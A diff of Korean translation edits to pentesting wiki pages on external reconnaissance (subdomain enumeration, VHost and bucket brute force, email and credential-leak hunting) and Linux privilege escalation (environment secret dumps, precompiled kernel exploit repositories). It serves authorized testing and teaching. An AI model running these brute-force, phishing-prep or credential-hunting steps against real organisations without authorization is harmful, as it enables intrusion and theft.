이 단계의 목표는 **모회사가 소유한 모든 회사**와 이 회사들의 **자산**을 얻는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다:
@ -22,7 +21,7 @@
> 좋습니다. 이 시점에서 범위 내의 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다.
### **ASN**
### **ASNs**
자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 관리 기관(IANA)**에 의해 **자율 시스템**(AS)에 할당된 **고유 번호**입니다.\
**AS**는 외부 네트워크에 접근하기 위한 명확하게 정의된 정책을 가진 **IP 주소**의 **블록**으로 구성되며, 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다.
@ -58,16 +57,16 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
### **취약점 찾기**
이 시점에서 우리는 **범위 내 모든 자산**을 알고 있으므로, 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\
또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan **과 같은 서비스를 사용하여** 열린 포트를 찾고, 발견한 내용에 따라 이 책을 참고하여 여러 가능한 서비스에 대한 펜테스트 방법을 살펴봐야 합니다.\
또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan과 같은 서비스를 사용하여 **열려 있는 포트를 찾고, 발견한 내용에 따라** 이 책을 참고하여 여러 가능한 서비스에 대한 펜테스트 방법을 살펴봐야 합니다.\
**또한, 기본 사용자 이름**과 **비밀번호 목록을 준비하고** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)로 서비스를 **브루트포스 시도하는 것도 가치가 있을 수 있습니다.**
## 도메인
> 우리는 범위 내 모든 회사와 그 자산을 알고 있으며, 이제 범위 내 도메인을 찾을 시간입니다.
_다음에 제안된 기술에서는 서브도메인도 찾을 수 있으며, 그 정보는 과소평가해서는 안 됩니다._
_다음에 제안된 기술을 사용하면 서브도메인도 찾을 수 있으며, 그 정보는 과소평가해서는 안 됩니다._
우선 각 회사의 **주 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다.
먼저 각 회사의 **주 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다.
### **역 DNS**
@ -83,7 +82,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **역 Whois (루프)**
**whois** 안에는 **조직 이름**, **주소**, **이메일**, 전화번호 등과 같은 많은 흥미로운 **정보**가 있습니다... 하지만 더 흥미로운 것은 **이 필드 중 하나로 역 whois 조회를 수행하면 회사와 관련된 **더 많은 자산**을 찾을 수 있다는 것입니다** (예: 동일한 이메일이 나타나는 다른 whois 등록소).\
**whois** 안에는 **조직 이름**, **주소**, **이메일**, 전화번호 등과 같은 많은 흥미로운 **정보**가 있습니다... 하지만 더 흥미로운 것은 **이 필드 중 하나로 역 whois 조회를 수행하면 회사와 관련된 더 많은 자산을 찾을 수 있다는 것입니다** (예: 동일한 이메일이 나타나는 다른 whois 등록소).\
다음과 같은 온라인 도구를 사용할 수 있습니다:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **무료**
@ -151,7 +150,7 @@ return fhash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
서버에서 모든 도메인 인증서를 갱신합니다. 이는 CA가 유효성 기간에 생성 시간을 설정하지 않더라도 **인증서 투명성 로그에서 동일한 회사에 속하는 도메인을 찾는 것이 가능하다는 것을 의미합니다**.\
서버에서 모든 도메인 인증서를 갱신합니다. 이는 CA가 유효성 기간에 생성 시간을 설정하지 않더라도 **인증서 투명성 로그에서 동일한 회사에 속하는 도메인을 찾을 수 있다는 것을 의미합니다**.\
자세한 내용은 [**이 글**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)을 확인하세요.
### Mail DMARC 정보
@ -160,7 +159,7 @@ return fhash
### **수동 인수**
사람들이 클라우드 제공업체에 속하는 IP에 서브도메인을 할당하고 어느 시점에 **그 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 것이 일반적입니다**. 따라서 클라우드(예: Digital Ocean)에서 **VM을 생성하는 것만으로도** 실제로 **일부 서브도메인을 인수하게 됩니다**.
사람들이 클라우드 제공업체에 속하는 IP에 서브도메인을 할당하고 어느 시점에 **그 IP 주소를 잃어버리지만 DNS 레코드를 제거하는 것을 잊는 것이 일반적입니다**. 따라서 클라우드(예: Digital Ocean)에서 **VM을 생성하는 것만으로도** 실제로 **일부 서브도메인을 인수하게 됩니다**.
[**이 게시물**](https://kmsec.uk/blog/passive-takeover/)은 이에 대한 이야기를 설명하고 **DigitalOcean에서 VM을 생성하고**, **새 머신의 IPv4를 가져오고**, **Virustotal에서 해당 서브도메인 레코드를 검색하는** 스크립트를 제안합니다.
@ -170,7 +169,7 @@ return fhash
**Shodan**
IP 공간을 소유한 조직의 이름을 이미 알고 있으므로, 해당 데이터를 사용하여 shodan에서 검색할 수 있습니다: `org:"Tesla, Inc."` TLS 인증서에서 새로운 예상치 못한 도메인을 찾기 위해 발견된 호스트를 확인하세요.
IP 공간을 소유한 조직의 이름을 이미 알고 있으므로, Shodan에서 해당 데이터를 사용하여 검색할 수 있습니다: `org:"Tesla, Inc."` TLS 인증서에서 새로운 예기치 않은 도메인을 찾기 위해 발견된 호스트를 확인하세요.
주 웹 페이지의 **TLS 인증서**에 접근하여 **조직 이름**을 얻고, 그런 다음 **shodan**에서 알려진 모든 웹 페이지의 **TLS 인증서** 내에서 해당 이름을 검색할 수 있습니다. 필터: `ssl:"Tesla Motors"`를 사용하거나 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch)와 같은 도구를 사용할 수 있습니다.
@ -185,8 +184,6 @@ IP 공간을 소유한 조직의 이름을 이미 알고 있으므로, 해당
발견된 자산 탐색에서 이미 찾은 IP와 다른 **IP를 가진 도메인**을 발견하면 **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용)과 **포트 스캔**(nmap/masscan/shodan 사용)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 "공격"하는 몇 가지 요령을 찾을 수 있습니다**.\
&#xNAN;_&#x4E;ote that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
## 서브도메인
> 우리는 범위 내 모든 회사, 각 회사의 모든 자산 및 회사와 관련된 모든 도메인을 알고 있습니다.
@ -194,11 +191,11 @@ IP 공간을 소유한 조직의 이름을 이미 알고 있으므로, 해당
이제 발견된 각 도메인의 가능한 모든 서브도메인을 찾아야 합니다.
> [!TIP]
> 도메인을 찾기 위한 일부 도구와 기술이 서브도메인을 찾는 데도 도움이 될 수 있다는 점에 유의하세요.
> 도메인을 찾기 위한 일부 도구와 기술이 서브도메인을 찾는 데도 도움이 될 수 있다는 점에 유의하세요.
### **DNS**
**DNS** 레코드에서 **서브도메인**을 가져오도록 시도해 보겠습니다. **존 전송**(취약한 경우 보고해야 함)도 시도해야 합니다.
**DNS** 레코드에서 **서브도메인**을 가져오도록 시도해 보겠습니다. 또한 **존 전송**을 시도해야 합니다(취약한 경우 보고해야 합니다).
```bash
dnsrecon -a -d tesla.com
```
@ -253,7 +250,7 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
다른 흥미로운 도구/API가 있으며, 이들은 서브도메인을 찾는 데 직접적으로 특화되어 있지 않더라도 서브도메인을 찾는 데 유용할 수 있습니다. 예를 들어:
다른 **흥미로운 도구/API**가 있으며, 이들은 서브도메인을 찾는 데 직접적으로 특화되어 있지 않더라도 서브도메인을 찾는 데 유용할 수 있습니다. 예를 들어:
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)를 사용하여 서브도메인을 얻습니다.
```bash
@ -315,7 +312,7 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
- [**securitytrails.com**](https://securitytrails.com/) 서브도메인 및 IP 기록을 검색할 수 있는 무료 API를 제공합니다.
- [**securitytrails.com**](https://securitytrails.com/) 서브도메인 및 IP 기록을 검색할 수 있는 무료 API를 제공합니다.
- [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
이 프로젝트는 **버그 바운티 프로그램과 관련된 모든 서브도메인**을 무료로 제공합니다. 이 데이터는 [chaospy](https://github.com/dr-0x0x/chaospy)를 사용하여 접근할 수 있으며, 이 프로젝트에서 사용된 범위에 접근할 수도 있습니다 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list).
@ -336,7 +333,7 @@ python3 DomainTrail.py -d example.com
또한 좋은 DNS 해석기의 IP도 필요합니다. 신뢰할 수 있는 DNS 해석기 목록을 생성하기 위해 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt)에서 해석기를 다운로드하고 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator)를 사용하여 필터링할 수 있습니다. 또는 [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)를 사용할 수 있습니다.
DNS 브루트 포스에 가장 추천되는 도구는 다음과 같습니다:
DNS 브루트 포스에 가장 추천되는 도구는:
- [**massdns**](https://github.com/blechschmidt/massdns): 이는 효과적인 DNS 브루트 포스를 수행한 첫 번째 도구입니다. 매우 빠르지만 잘못된 긍정 반응이 발생할 수 있습니다.
```bash
@ -369,7 +366,7 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
cat subdomains.txt | dnsgen -
```
- [**goaltdns**](https://github.com/subfinder/goaltdns): 도메인과 서브도메인을 기반으로 순열을 생성합니다.
- [**여기**](https://github.com/subfinder/goaltdns/blob/master/words.txt)에서 goaltdns 순열 **단어 목록**을 얻을 수 있습니다.
- **여기**에서 goaltdns 순열 **단어 목록**을 얻을 수 있습니다: [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
@ -398,21 +395,25 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_는 매우 간단하지만 효과적인 DNS 응답 유도 알고리즘과 결합된 서브도메인 브루트포스 퍼저입니다. 맞춤형 단어 목록이나 역사적인 DNS/TLS 기록과 같은 제공된 입력 데이터 세트를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중에 수집된 정보를 기반으로 이를 반복적으로 확장합니다.
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_는 매우 간단하지만 효과적인 DNS 응답 유도 알고리즘과 결합된 서브도메인 브루트포스 퍼저입니다. 맞춤형 단어 목록이나 역사적인 DNS/TLS 기록과 같은 제공된 입력 데이터를 활용하여 더 많은 해당 도메인 이름을 정확하게 합성하고 DNS 스캔 중에 수집된 정보를 기반으로 이를 반복적으로 확장합니다.
```
echo www | subzuf facebook.com
```
### **서브도메인 발견 워크플로우**
내가 쓴 블로그 게시물을 확인해 보세요. 여기서는 **Trickest 워크플로우**를 사용하여 도메인에서 **서브도메인 발견을 자동화하는 방법**에 대해 설명합니다. 이렇게 하면 컴퓨터에서 여러 도구를 수동으로 실행할 필요가 없습니다:
도메인에서 **서브도메인 발견을 자동화하는 방법**에 대해 제가 쓴 블로그 게시물을 확인해 보세요. **Trickest 워크플로우**를 사용하여 제 컴퓨터에서 여러 도구를 수동으로 실행할 필요가 없습니다:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
{{#endref}}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
{{#ref}}
https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
{{#endref}}
### **VHosts / 가상 호스트**
서브도메인에 속하는 **하나 이상의 웹 페이지**를 포함하는 IP 주소를 찾았다면, **OSINT 소스**에서 IP의 도메인을 찾거나 **해당 IP에서 VHost 도메인 이름을 브루트 포스하여** 다른 서브도메인을 찾을 수 있습니다.
서브도메인에 속하는 **하나 이상의 웹 페이지**를 포함하는 IP 주소를 찾았다면, **OSINT 소스**에서 IP의 도메인을 찾거나 **해당 IP에서 VHost 도메인 이름을 브루트 포스**하여 **다른 서브도메인**을 찾을 수 있습니다.
#### OSINT
@ -420,7 +421,7 @@ echo www | subzuf facebook.com
**브루트 포스**
어떤 서브도메인이 웹 서버에 숨겨져 있을 수 있다고 의심되면, 브루트 포스를 시도해 볼 수 있습니다:
어떤 서브도메인이 웹 서버에 숨겨져 있다고 의심되면 브루트 포스를 시도할 수 있습니다:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -443,10 +444,10 @@ VHostScan -t example.com
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **버킷 브루트 포스**
### **버킷 무차별 대입**
**서브도메인**을 찾는 동안 **버킷**으로 **포인팅**되는지 주의 깊게 살펴보세요. 그런 경우 [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
또한, 이 시점에서 범위 내의 모든 도메인을 알게 되었으므로 [**가능한 버킷 이름을 브루트 포스하고 권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/).
또한, 이 시점에서 범위 내의 모든 도메인을 알게 되었으므로 [**가능한 버킷 이름을 무차별 대입하고 권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/).
### **모니터링**
@ -458,14 +459,14 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
**서브도메인**이 어떤 **S3 버킷**으로 **포인팅**되고 있다면, [**권한을 확인하세요**](../../network-services-pentesting/pentesting-web/buckets/).
자산 탐색에서 이미 발견한 것과 다른 **IP를 가진 서브도메인**을 발견하면, **기본 취약점 스캔**(Nessus 또는 OpenVAS 사용)과 **포트 스캔**(nmap/masscan/shodan 사용)을 수행해야 합니다. 실행 중인 서비스에 따라 **이 책에서 "공격"할 수 있는 몇 가지 요령을 찾을 수 있습니다**.\
&#xNAN;_&#x4E;ote는 때때로 서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅되므로 범위에 포함되지 않을 수 있으니 주의하세요._
&#xNAN;_&#x4E;ote는 때때로 서브도메인이 클라이언트가 제어하지 않는 IP 내에 호스팅될 수 있으므로, 범위에 포함되지 않을 수 있습니다. 주의하세요._
## IPs
초기 단계에서 **일부 IP 범위, 도메인 및 서브도메인**을 **발견했을 수 있습니다**.\
이제 **해당 범위의 모든 IP를 수집할** 시간입니다. **도메인/서브도메인(DNS 쿼리)**에 대한 IP도 포함됩니다.
이제**그 범위에서 모든 IP를 수집할** 시간입니다. **도메인/서브도메인(DNS 쿼리)**에 대한 IP도 포함됩니다.
다음 **무료 API** 서비스를 사용하여 **도메인 서브도메인에서 사용된 이전 IP**를 찾을 수 있습니다. 이 IP는 여전히 클라이언트가 소유하고 있을 수 있으며, [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾는 데 도움이 될 수 있습니다.
다음 **무료 API** 서비스를 사용하여 **도메인 서브도메인에서 사용된 이전 IP**를 찾을 수 있습니다. 이 IP는 여전히 클라이언트가 소유하고 있을 수 있으며, [**CloudFlare 우회**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)를 찾는 데 도움이 될 수 있습니다.
- [**https://securitytrails.com/**](https://securitytrails.com/)
@ -473,15 +474,15 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **취약점 찾기**
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔을 수행하세요**(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있을지도 모릅니다**.
**CDN에 속하지 않는 모든 IP에 대해 포트 스캔을 수행하세요**(여기서는 흥미로운 것을 찾지 못할 가능성이 높습니다). 발견된 실행 중인 서비스에서 **취약점을 찾을 수 있을** 것입니다.
**호스트 스캔 방법에 대한** [**가이드를 찾으세요**](../pentesting-network/).
## 웹 서버 헌팅
## 웹 서버 탐색
> 우리는 모든 회사와 그 자산을 찾았고 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 검색할 시간입니다.
> 우리는 모든 회사와 그 자산을 찾았고, 범위 내의 IP 범위, 도메인 및 서브도메인을 알고 있습니다. 이제 웹 서버를 검색할 시간입니다.
이전 단계에서 **발견된 IP 및 도메인에 대한 일부 재콘을 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 **웹 서버를 검색하는 몇 가지 빠른 요령**을 살펴보겠습니다.
이전 단계에서 **발견된 IP와 도메인에 대한 일부 재조사를 수행했을 가능성이 높으므로**, **모든 가능한 웹 서버를 이미 찾았을 수 있습니다**. 그러나 찾지 못했다면 이제 범위 내에서 **웹 서버를 검색하는 몇 가지 빠른 요령**을 살펴보겠습니다.
이것은 **웹 앱 발견**을 위한 **지향적**이므로, **취약점****포트 스캔**도 수행해야 합니다(**범위에서 허용되는 경우**).
@ -495,7 +496,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
이제 **범위 내의 모든 웹 서버**를 발견했으므로 (**회사의 **IP**와 모든 **도메인****서브도메인** 중에서) 아마도 **어디서 시작해야 할지 모를 것입니다**. 그러니 간단하게 시작하여 모든 웹 서버의 스크린샷을 찍어보세요. **메인 페이지**를 **살펴보는 것만으로도** **이상한** 엔드포인트를 발견할 수 있으며, 이는 **취약점**이 있을 가능성이 더 높습니다.
제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** 사용할 수 있습니다.**
제안된 아이디어를 수행하기 위해 [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) 또는 [**webscreenshot**](https://github.com/maaaaz/webscreenshot)** 사용할 수 있습니다.**
또한, [**eyeballer**](https://github.com/BishopFox/eyeballer)를 사용하여 모든 **스크린샷**을 분석하여 **취약점이 있을 가능성이 있는 것**과 **없는 것**을 알려줄 수 있습니다.
@ -509,19 +510,19 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
그런 다음, 이러한 단어로 **순열**을 생성해야 합니다(자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 확인하세요).
그런 다음, 이러한 단어로 **순열**을 생성해야 합니다 (자세한 내용은 [**두 번째 라운드 DNS 브루트포스**](./#second-dns-bruteforce-round)를 확인하세요).
결과로 나온 단어 목록을 사용하여 [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **또는** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.**
결과로 얻은 단어 목록을 사용하여 [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **또는** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**와 같은 도구를 사용할 수 있습니다.**
클라우드 자산을 찾을 때는 **AWS의 버킷 이상으로 찾아야 한다는 점을 기억하세요**.
### **취약점 찾기**
**열린 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접속하여** 무엇을 제공하는지 확인하고 이를 악용할 수 있는지 시도해야 합니다.
**열린 버킷이나 노출된 클라우드 기능**과 같은 것을 발견하면 **접속하여** 그들이 제공하는 것이 무엇인지, 그리고 이를 악용할 수 있는지 확인해야 합니다.
## 이메일
범위 내의 **도메인**과 **서브도메인**을 통해 **이메일 검색을 시작하는 데 필요한 모든 것**을 갖추게 됩니다. 다음은 회사의 이메일을 찾는 데 가장 효과적이었던 **API**와 **도구**입니다:
범위 내의 **도메인**과 **서브도메인**을 통해 **이메일 검색을 시작할 수 있는 모든 것**을 갖추게 됩니다. 다음은 회사의 이메일을 찾는 데 가장 효과적이었던 **API**와 **도구**입니다:
- [**theHarvester**](https://github.com/laramies/theHarvester) - API 사용
- [**https://hunter.io/**](https://hunter.io/)의 API (무료 버전)
@ -530,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **취약점 찾기**
이메일은 나중에 **웹 로그인 및 인증 서비스**(예: SSH)에 대한 **브루트포스**에 유용하게 사용됩니다. 또한, **피싱**에도 필요합니다. 게다가, 이러한 API는 이메일 뒤에 있는 **사람에 대한 더 많은 정보**를 제공하므로 피싱 캠페인에 유용합니다.
이메일은 나중에 **웹 로그인 및 인증 서비스**(예: SSH)에 대한 **브루트포스 공격**에 유용합니다. 또한, **피싱**에도 필요합니다. 게다가, 이러한 API는 이메일 뒤에 있는 **사람에 대한 더 많은 정보**를 제공하므로 피싱 캠페인에 유용합니다.
## 자격 증명 유출
@ -552,7 +553,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
자격 증명 및 API는 **회사의 공개 리포지토리** 또는 해당 깃허브 회사에서 일하는 **사용자**의 공개 리포지토리에 유출될 수 있습니다.\
**Leakos**라는 **도구**를 사용하여 **조직** 및 그 **개발자**의 모든 **공개 리포**를 **다운로드**하고 자동으로 [**gitleaks**](https://github.com/zricethezav/gitleaks)를 실행할 수 있습니다.
**Leakos**는 또한 제공된 **URL**에 대해 **gitleaks**를 실행하는 데 사용할 수 있으며, 때때로 **웹 페이지에도 비밀이 포함될 수 있습니다**.
**Leakos**는 또한 제공된 **URL**에 대해 **gitleaks**를 실행하는 데 사용할 수 있으며, 때때로 **웹 페이지에도 비밀이 포함되어 있습니다**.
#### 깃허브 도크
@ -564,14 +565,14 @@ github-leaked-secrets.md
### Paste 유출
때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**할 수 있습니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색하는 것이 매우 흥미롭습니다.\
때때로 공격자나 단순한 직원이 **회사 콘텐츠를 paste 사이트에 게시**니다. 이는 **민감한 정보**를 포함할 수도 있고 포함하지 않을 수도 있지만, 검색하는 것이 매우 흥미롭습니다.\
[**Pastos**](https://github.com/carlospolop/Pastos)라는 도구를 사용하여 동시에 80개 이상의 paste 사이트에서 검색할 수 있습니다.
### 구글 도크
오래되었지만 여전히 유용한 구글 도크는 **거기에 있어서는 안 되는 노출된 정보를 찾는 데 항상 유용합니다**. 유일한 문제는 [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)에 수천 개의 가능한 쿼리가 포함되어 있어 수동으로 실행할 수 없다는 것입니다. 따라서 좋아하는 10개를 선택하거나 [**Gorks**](https://github.com/carlospolop/Gorks)와 같은 **도구를 사용하여 모두 실행할 수 있습니다**.
_정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 Google에 의해 차단되므로 결코 끝나지 않을 것입니다._
_정기적인 Google 브라우저를 사용하여 모든 데이터베이스를 실행하려는 도구는 매우 빨리 차단되므로 결코 끝나지 않을 것입니다._
### **취약점 찾기**
@ -579,7 +580,7 @@ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를
## 공개 코드 취약점
회사가 **오픈 소스 코드**를 가지고 있다면 이를 **분석**하고 **취약점**을 검색할 수 있습니다.
회사가 **오픈 소스 코드**를 가지고 있다면, 이를 **분석**하고 **취약점**을 검색할 수 있습니다.
**언어에 따라** 사용할 수 있는 다양한 **도구**가 있습니다:
@ -595,23 +596,23 @@ _정기적인 Google 브라우저를 사용하여 모든 데이터베이스를
**버그 헌터**가 발견한 **대부분의 취약점**은 **웹 애플리케이션** 내에 존재하므로, 이 시점에서 **웹 애플리케이션 테스트 방법론**에 대해 이야기하고 싶습니다. [**여기에서 이 정보를 찾을 수 있습니다**](../../network-services-pentesting/pentesting-web/).
또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾는 데 기대하지 말아야 하지만, **초기 웹 정보를 얻기 위한 워크플로우에 구현하는 데 유용합니다.**
또한 [**웹 자동 스캐너 오픈 소스 도구**](../../network-services-pentesting/pentesting-web/#automatic-scanners) 섹션에 특별히 언급하고 싶습니다. 이 도구들은 매우 민감한 취약점을 찾을 것으로 기대해서는 안 되지만, **초기 웹 정보를 얻기 위한 워크플로우에 구현하는 데 유용합니다.**
## 요약
> 축하합니다! 이 시점에서 이미 **모든 기본 열거**를 수행했습니다. 네, 기본적입니다. 더 많은 열거가 가능하므로(나중에 더 많은 트릭을 볼 것입니다).
> 축하합니다! 이 시점에서 이미 **모든 기본 열거 작업**을 수행했습니다. 네, 기본적입니다. 더 많은 열거 작업이 가능하므로 (나중에 더 많은 트릭을 볼 것입니다).
따라서 이미 다음을 수행했습니다:
1. 범위 내의 모든 **회사**를 찾았습니다.
2. 회사에 속하는 모든 **자산**을 찾았습니다(범위 내에서 취약점 스캔 수행).
2. 회사에 속하는 모든 **자산**을 찾았습니다 (범위 내에서 취약점 스캔 수행).
3. 회사에 속하는 모든 **도메인**을 찾았습니다.
4. 도메인의 모든 **서브도메인**을 찾았습니다(서브도메인 탈취 가능성은?).
5. 범위 내의 모든 **IP**를 찾았습니다(**CDN**에서와 **CDN**이 아닌 것).
6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다(더 깊이 살펴볼 가치가 있는 이상한 점은?).
4. 도메인의 모든 **서브도메인**을 찾았습니다 (서브도메인 탈취 가능성은?).
5. 범위 내의 모든 **IP**를 찾았습니다 (CDN에서 온 것과 아닌 것).
6. 모든 **웹 서버**를 찾고 **스크린샷**을 찍었습니다 (더 깊이 살펴볼 가치가 있는 이상한 점은?).
7. 회사에 속하는 모든 **잠재적 공개 클라우드 자산**을 찾았습니다.
8. **이메일**, **자격 증명 유출**, 및 **비밀 유출**로 인해 **매우 쉽게 큰 승리**를 얻을 수 있습니다.
9. 발견한 모든 웹을 **펜테스팅**했습니다.
9. 발견한 모든 웹을 **펜테스팅**니다.
## **전체 재콘 자동 도구**

View File

@ -20,7 +20,7 @@ echo $PATH
```
### Env info
환경 변수에 흥미로운 정보, 비밀번호 또는 API 키가 있습니까?
흥미로운 정보, 비밀번호 또는 API 키가 환경 변수에 있습니까?
```bash
(env || set) 2>/dev/null
```
@ -35,17 +35,17 @@ searchsploit "Linux Kernel"
취약한 커널 목록과 이미 **컴파일된 익스플로잇**을 여기에서 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
다른 사이트에서 **컴파일된 익스플로잇**을 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
그 웹사이트에서 모든 취약한 커널 버전을 추출하려면 다음을 수행할 수 있습니다:
그 웹사이트에서 모든 취약한 커널 버전을 추출하려면 다음과 같이 할 수 있습니다:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
커널 익스플로잇을 검색하는 데 도움이 될 수 있는 도구는 다음과 같습니다:
커널 취약점을 검색하는 데 도움이 될 수 있는 도구는 다음과 같습니다:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
